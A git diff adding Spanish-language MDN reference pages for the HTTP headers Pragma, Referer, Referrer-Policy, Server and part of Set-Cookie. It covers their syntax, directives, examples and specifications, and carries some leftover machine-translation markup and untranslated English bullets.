+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quieres contribuir, por favor revisa<a href="https://github.com/mdn/browser-compat-data"> https://github.com/mdn/browser-compat-data</a> y mándanos un pull request.</p>
+
+<p>{{Compat("http.headers.Origin")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Política same-origin</a></li>
+</ul>
diff --git a/files/es/web/http/headers/pragma/index.html b/files/es/web/http/headers/pragma/index.html
new file mode 100644
index 0000000000..2d1344e2c2
--- /dev/null
+++ b/files/es/web/http/headers/pragma/index.html
@@ -0,0 +1,77 @@
+---
+title: Pragma
+slug: Web/HTTP/Headers/Pragma
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><font><font>El </font></font><code><strong>Pragma</strong></code><font><font>encabezado general HTTP / 1.0 es un encabezado específico de la implementación que puede tener varios efectos a lo largo de la cadena de solicitud-respuesta. </font><font>Se utiliza para la compatibilidad con versiones anteriores de las memorias caché HTTP / 1.0 en las que el </font></font><code>Cache-Control</code><font><font>encabezado HTTP / 1.1 aún no está presente.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>Nota</font></font></strong><font><font> : </font></font><code>Pragma</code><font><font>no se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo confiable para el </font></font><code>Cache-Control</code><font><font>encabezado </font><font>HTTP / 1.1 general </font><font>, aunque se comporta de la misma manera que </font></font><code>Cache-Control: no-cache</code><font><font>, si el </font></font><code>Cache-Control</code><font><font>campo </font><font>del </font><font>encabezado se omite en una solicitud. </font><font>Utilice </font></font><code>Pragma</code><font><font>solo para compatibilidad con versiones anteriores con clientes HTTP / 1.0.</font></font></p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("General header")}}, pero el comportamiento de respuesta no se especifica y, por lo tanto, es específico de la implementación.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis"><font><font>Sintaxis</font></font></h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="Directiva">Directiva</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p><font><font>Igual que </font></font><code>Cache-Control: no-cache</code><font><font>. </font><font>Hace que las cachés envíen la solicitud al servidor de origen para su validación antes de liberar una copia en caché.</font></font></p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos"><font><font>Ejemplos </font></font></h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="Especificación"><font><font>Especificación </font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): almacenamiento en caché</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores"><font><font>Compatibilidad de navegadores</font></font></h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="Véase_también"><font><font>Véase también</font></font></h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
+
+<p>Traducción realizada por Ervin A. Santos R.</p>
diff --git a/files/es/web/http/headers/referer/index.html b/files/es/web/http/headers/referer/index.html
new file mode 100644
index 0000000000..aa37ad8a59
--- /dev/null
+++ b/files/es/web/http/headers/referer/index.html
@@ -0,0 +1,84 @@
+---
+title: Referer
+slug: Web/HTTP/Headers/Referer
+tags:
+  - Cabecera
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de solicitud <code><strong>Referer</strong></code> (‘referente’) contiene la dirección de la página web anterior de la que provenía el enlace a la página actual que se siguió. La cabecera <code>Referer</code> permite a los servidores identificar de dónde los visitan las personas y pueden emplear estos datos para realizar análisis, registros o un almacenamiento en antememoria optimizado, por mencionar algunos ejemplos.</p>
+
+<p>Observe que <em>referer</em> es una grafía errónea de la palabra <em>referrer</em>. Consulte {{interwiki("wikipedia", "HTTP_referer", "<em>HTTP referer</em> en Wikipedia")}} para obtener más información.</p>
+
+<div class="warning">
+<p>La cabecera <code>Referer</code> tiene el potencial de revelar información sobre el histórico de navegación del usuario, lo cual constituye un problema de privacidad.</p>
+</div>
+
+<p>Los navegadores no envían ninguna cabecera <code>Referer</code> si:</p>
+
+<ul>
+ <li>el recurso referente es un URI local «file» o «data»;</li>
+ <li>
+  <p>se emplea una solicitud HTTP no segura y la página referente fue recibida a través de un protocolo seguro (HTTPS).</p>
+ </li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Una dirección absoluta o parcial de la página web anterior, la cual contenía un enlace hacia la página solicitada actual que se siguió. No se incluyen los fragmentos de URL (esto es, «#sección») ni los datos de usuario (o sea, «nombredeusuario:contraseña» en URI como «https://nombredeusuario:contraseña@ejemplo.com/equis/ye/»).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Referer: https://developer.mozilla.org/es/docs/Web/JavaScript</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "Referer HTTP en Wikipedia")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/referrer-policy/index.html b/files/es/web/http/headers/referrer-policy/index.html
new file mode 100644
index 0000000000..7d5e20ae83
--- /dev/null
+++ b/files/es/web/http/headers/referrer-policy/index.html
@@ -0,0 +1,237 @@
+---
+title: Referrer-Policy
+slug: Web/HTTP/Headers/Referrer-Policy
+tags:
+  - Cabecera
+  - HTTP
+  - Respuesta
+  - privacidad
+translation_of: Web/HTTP/Headers/Referrer-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Referrer-Policy</code></strong> de HTTP determina qué datos de referente, de entre los que se envían con la cabecera {{HTTPHeader("Referer")}}, deben incluirse con las solicitudes realizadas.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Observe que {{HTTPHeader("Referer")}} es una falta de ortografía; en inglés, la palabra correcta es <em>referrer</em>. La cabecera <code>Referrer-Policy</code> no contiene esta falta.</p>
+
+<pre class="syntaxbox">Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>no-referrer</dt>
+ <dd>La cabecera {{HTTPHeader("Referer")}} se omitirá en su totalidad. No se enviará ningún dato de referente junto con las solicitudes.</dd>
+ <dt>no-referrer-when-downgrade (predeterminado)</dt>
+ <dd>Este es el comportamiento predeterminado del agente de usuario si no se especifica ninguna directiva. El origen se enviará como referente cuando el nivel de seguridad del protocolo permanece igual (HTTPS → HTTPS), pero no se enviará a destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>origin</dt>
+ <dd>Se enviará únicamente el origen del documento como referente en todos los casos. El documento <code>https://ejemplo.com/pagina.html</code> enviará el referente <code>https://ejemplo.com/</code>.</dd>
+ <dt>origin-when-cross-origin</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente, pero únicamente el origen para otros casos.</dd>
+ <dt>same-origin</dt>
+ <dd>Se enviará un referente para <a href="/en-US/docs/Web/Security/Same-origin_policy">orígenes de sitio equivalente</a>, pero las solicitudes de origen transversal no contendrán ningún dato de referente.</dd>
+ <dt>strict-origin</dt>
+ <dd>Solo se enviará el origen del documento como referente a destinos que <em>a priori</em> son igual de seguros (HTTPS → HTTPS), pero no lo recibirán destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>strict-origin-when-cross-origin</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente, se enviará únicamente el origen del documento a destinos igual de seguros <em>a priori</em> (HTTPS → HTTPS) y no se enviará ninguna cabecera a destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>unsafe-url</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente o de origen transversal.
+ <div class="note">Esta directiva filtrará los orígenes y las rutas de acceso de recursos protegidos por TLS a orígenes inseguros. Estudie atentamente el impacto resultante de esta configuración.</div>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Directiva</th>
+   <th scope="col">Documento</th>
+   <th scope="col">Navegación a</th>
+   <th scope="col">Referente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><strong>no-referrer</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>same-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>same-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td><strong>http</strong>://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>http://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://example.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>unsafe-url</code></strong></td>
+   <td>https://ejemplo.com/pagina.html?q=123</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>https://ejemplo.com/pagina.html?q=123</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Directiva de referentes</a></td>
+   <td>Anteproyecto de editores</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referrer-Policy")}}</p>
+
+<div class="note">
+<p><strong>Notas</strong>:</p>
+
+<ul>
+ <li>A partir de la versión 53 en adelante, Gecko incluye una preferencia de <code>about:config</code> para permitir a los usuarios definir su directiva <code>Referrer-Policy</code> predeterminada: <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li>
+ <li>A partir de la versión 59 (consulte el informe n.º <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">587523</a>), esta preferencia ha cambiado de nombre: ahora son <code>network.http.referer.defaultPolicy</code> y <code>network.http.referer.defaultPolicy.pbmode</code>.</li>
+</ul>
+
+<p>Los valores posibles son:</p>
+
+<ul>
+ <li>0: <code>no-referrer</code></li>
+ <li>1: <code>same-origin</code></li>
+ <li>2: <code>strict-origin-when-cross-origin</code></li>
+ <li>3: <code>no-referrer-when-downgrade</code> (la predeterminada)</li>
+</ul>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "Referente HTTP en Wikipedia")}}</li>
+ <li>Otras maneras de definir una directiva de referentes:
+  <ul>
+   <li>Un elemento {{HTMLElement("meta")}} con un <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">nombre de <code>referrer</code></a>.</li>
+   <li>Un atributo <code>referrerpolicy</code> en un elemento {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} o {{HTMLElement("link")}}.</li>
+   <li>La <a href="/en-US/docs/Web/HTML/Link_types">relación de enlace</a> <code>noreferrer</code> en un elemento a, area o link  (<code>rel="noreferrer"</code>).</li>
+   <li>Al utilizar <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Directiva de origen equivalente</a></li>
+ <li>
+  <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">«Un mayor control sobre sus referentes» en el blog de seguridad de Mozilla</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/server/index.html b/files/es/web/http/headers/server/index.html
new file mode 100644
index 0000000000..5fc9356428
--- /dev/null
+++ b/files/es/web/http/headers/server/index.html
@@ -0,0 +1,66 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <code><strong>Server</strong></code> contiene la información acerca del software usado por el servidor original encargado de la solicitud.</p>
+
+<p>La información larga y detallada debe de ser evitada en las cabeceras Server ya que puede revelar detalles de implementación que pueden hacer (un poco) más fácil para los atacantes encontrar y explotar huecos de seguridad.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Server: &lt;producto&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;producto&gt;</dt>
+ <dd>El nombre del software o (sub) producto que se encargó de las solicitudes.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad es generada a partir de datos estructurados. Si quisieras contribuir dirígete a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/set-cookie/index.html b/files/es/web/http/headers/set-cookie/index.html
new file mode 100644
index 0000000000..f8a50e2c7c
--- /dev/null
+++ b/files/es/web/http/headers/set-cookie/index.html
@@ -0,0 +1,217 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Headers/Set-Cookie
+tags:
+  - Cookies
+  - HTTP
+  - Referencia
+  - Respuesta
+  - encabezado
+  - samesite
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<div>La cabecera de respuesta HTTP <strong>Set-Cookie</strong> se usa para enviar cookies desde el servidor al agente de usuario, así el agente de usuario puede enviarlos de vuelta al servidor.</div>
+
+<div></div>
+
+<div>Para más información, visite la <a href="/es/docs/Web/HTTP/Cookies">guía para cookies HTTP</a>.</div>
+
+<div></div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=None
+
+// Es posible usar múltiples directivas, por ejemplo:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<ul>
+ <li>Si se omite, se define el húesped como la URL del documento actual, sin incluir subdominios.</li>
+ <li>Contrario a la especificación anterior, puntos principales en el nombre del domino (<code>.ejemplo.com</code>) son ignorados.</li>
+ <li>Si un dominio <em>es</em> especificado, los subdominios son también incluidos.</li>
+</ul>
+
+<ul>
+ <li>If omitted, defaults to the host of the current document URL, not including subdomains.</li>
+ <li>Contrary to earlier specifications, leading dots in domain names (<code>.example.com</code>) are ignored.</li>
+ <li>If a domain <em>is</em> specified, subdomains are always included.</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>Una cookie comienza con un par nombre-valor:
+ <ul>
+  <li>Un <code>&lt;cookie-name&gt;</code> puede ser cualquier cosa excepto caracteres de control (CTLs) o espacios y tabulaciones. Tampoco debe contener caracteres de separación como los siguientes: <code>( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }</code>.</li>
+  <li>Un <code>&lt;cookie-value&gt;</code> opcionalmente puede ser establecido dentro de comillas dobles y se permite usar cualquier caracter US-ASCII excluyendo CTLs, espacios en blanco, comillas dobles, comas, punto y coma y la barra invertida. <strong>Codificación:</strong> Muchas implementaciones realizan codificación de URL sobre los valores de la cookie, aunque esto no es requerido por la especificación RFC. Esto ayuda a satisfacer los requerimientos sobre los caracteres permitidos para &lt;cookie-value&gt;.</li>
+  <li><strong><code>Prefijo __Secure-</code></strong>: Las cookies cuyo nombre comience por <code>__Secure-</code> (los guiones forman parte del prefijo) deben ser establecidas con la bandera <code>secure </code>y deben provenir de una página segura (HTTPS).</li>
+  <li><strong><code>Prefijo __Host-</code></strong>: Las cookies cuyo nombre comience por <code>__Host-</code> deben ser establecidas con la bandera <code>secure</code>, provenir de una página segura (HTTPS), no deben tener especificado un dominio (y por tanto no son enviadas a subdominios) y la ruta debe ser "/".</li>
+ </ul>
+ </dd>
+ <dt>Expires=&lt;date&gt; {{optional_inline}}</dt>
+ <dd>
+ <p>El tiempo de vida máximo útil de una cookie como marca HTTP-date timestamp. Ver {{HTTPHeader("Date")}} para el detalle del formato.</p>
+
+ <p>Si no está especificado, la cookie tendrá el tiempo de vida de una <strong>session cookie. </strong>Una sesión finaliza cuando el cliente lo culmina, esto quiere decir que la sesión será removida en ese punto.</p>
+
+ <div class="blockIndicator warning">
+ <p><strong>Advertencia:</strong> Sin embargo, muchos navegadores web tiene una caracteristica llamada "restaurar" que almacenará todas tus pestañas para tenerlas lista cuando el navegador sea usado nuevamente. Las cookies de sesión tambien estarán presentes como si nunca se hubiera cerrado el navegador.</p>
+ </div>
+ Cuando una fecha de Expires es definida, la fecha límite es relativa al <em>cliente </em>donde la cookie se define, no en el servidor.</dd>
+ <dt><code>Max-Age=&lt;non-zero-digit&gt;</code> {{optional_inline}}</dt>
+ <dd>Número de segundos hasta que la cookie expire. Un cero o un número negativo hace expirar la cookie inmediatamente. Los navegadores antiguos (ie6, ie7, and ie8) no soportan max-age. Para otros navegadores, si ambos estan definidos (<code>Expires</code> y <code>Max-Age</code>), <code>Max-Age</code> tendrá mayor importancia.</dd>
+ <dt><code>Domain=&lt;domain-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Anfitriones donde la cookie será enviada.
+ <ul>
+  <li>Si se omite, por defecto el huésped es la URL del documento actual, sin incluir subdominios.</li>
+  <li>Contraria a anteriores especificaciones, los puntos principales en nombres de dominio (<code>.example.com</code>) son ignorados.</li>
+  <li>Si un dominio <em>es</em> especificado, los subdominios son siempre incluídos.</li>
+ </ul>
+ </dd>
+ <dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Una ruta que debe existir en la URL solicitada, o el navegador no enviará el encabezado <code>Cookie</code>.</dd>
+ <dd>El caracter diagonal (<code>/</code>) es interpretado como un separador de directorios y subdirectorios que serán también comparados: para <code>Path=/docs</code>, <code>/docs</code>, <code>/docs/Web/</code>, y <code>/docs/Web/HTTP</code> todos tendrán que coincidir.</dd>
+ <dt id="Secure"><code>Secure</code> {{optional_inline}}</dt>
+ <dd>Una cookie segura es sólo enviada al servidor cuando una petición es enviada con el esquema <code>https:</code>. (Sin embargo, información confidencial nunca debería ser almacenada en Cookies HTTP, como todo el mecanismo es  However, confidential information should never be stored in HTTP Cookies, ya que todo el mecanismo es inherentemente inseguro y no encripta ninguna información.)
+ <p class="note"><strong>Nota:</strong> Sitios inseguros (<code>http:</code>) no puenden almacenar directivas "seguras" apartir de Chrome 52+ y Firefox 52+.</p>
+ </dd>
+ <dt id="HttpOnly"><code>HttpOnly</code> {{optional_inline}}</dt>
+ <dd>Impide que el código JavaScript acceda a la cookie. Por ejemplo, a través de la propiedad {{domxref("Document.cookie")}}, y la API {{domxref("XMLHttpRequest")}}, o la API {{domxref("Request")}}. Esto mitiga los ataques contra scripts cross-site ({{Glossary("XSS")}}).</dd>
+ <dt id="SameSite"><code>SameSite=&lt;samesite-value&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <ul>
+  <li><code>Strict</code></li>
+  <li><code>Lax</code></li>
+  <li><code>None</code></li>
+ </ul>
+
+ <p>Afirma que una cookie no debe ser enviada con peticiones cruzadas, proveiendo alguna protección contra ataques de falsificación de solicitudes cruzadas ({{Glossary("CSRF")}}).</p>
+
+ <p class="note">Los navegadores haciendo migraciones para que el comportamiento por defecto de las cookies en lugar de <a href="https://www.chromestatus.com/feature/5088147346030592">default sea <code>SameSite=Lax</code></a>. Si una cookie necesita ser enviada en peticiones cruzadas, se tiene que optar por no restringir el mismo sitio (SameSite) usando la directiva <code>None</code>. La directiva <code>None</code> requiere el atributo <a href="#Secure"><code>Secure</code></a>.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Session_cookie">Session cookie</h3>
+
+<p>Las <strong>cookies de sesión</strong> son removidas cuando el cliente se apaga. Las cookies son cookies de sesión si no se especifican las directivas <code>Expires</code> o <code>Max-Age</code>.</p>
+
+<pre class="notranslate">Set-Cookie: sessionId=38afes7a8</pre>
+
+<h3 id="Permanent_cookie">Permanent cookie</h3>
+
+<p>En lugar de expirar cuando el cliente se cierra, las <strong>cookies permanentes</strong> expiran en una fecha especifica (<code>Expires</code>) o después de una longitud de tiempo determinado (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Max-Age=2592000</pre>
+
+<h3 id="Invalid_domains">Invalid domains</h3>
+
+<p>Una cookie para un dominio que no incluya el servidor que la defina <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">debería ser rechazada por el agente de usuario</a>.</p>
+
+<p>La siguiente cookie sera rechazada si se define por el servidor ubicado en <code>originalcompany.com</code> como:</p>
+
+<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk</pre>
+
+<p>Una cookie para el subdomino del dominio actual será rechazada.</p>
+
+<p>La siguiente cookie sera rechazada si el servidor anfitrión en <code>example.com</code> la define como:</p>
+
+<pre class="notranslate">Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Los nombres de las cookies prefijadas con <code>__Secure-</code> o <code>__Host-</code> pueden ser solo usadas si son definidas con la directiva <code>secure</code> desde un origen (HTTPS) seguro.</p>
+
+<p>Además, cookies con el prefijo <code>__Host-</code> deben tener una ruta de <code>/</code> (significando cualquier ruta del huésped) y no debe tener un atributo <code>Domain</code>.</p>
+
+<div class="blockIndicator warning">
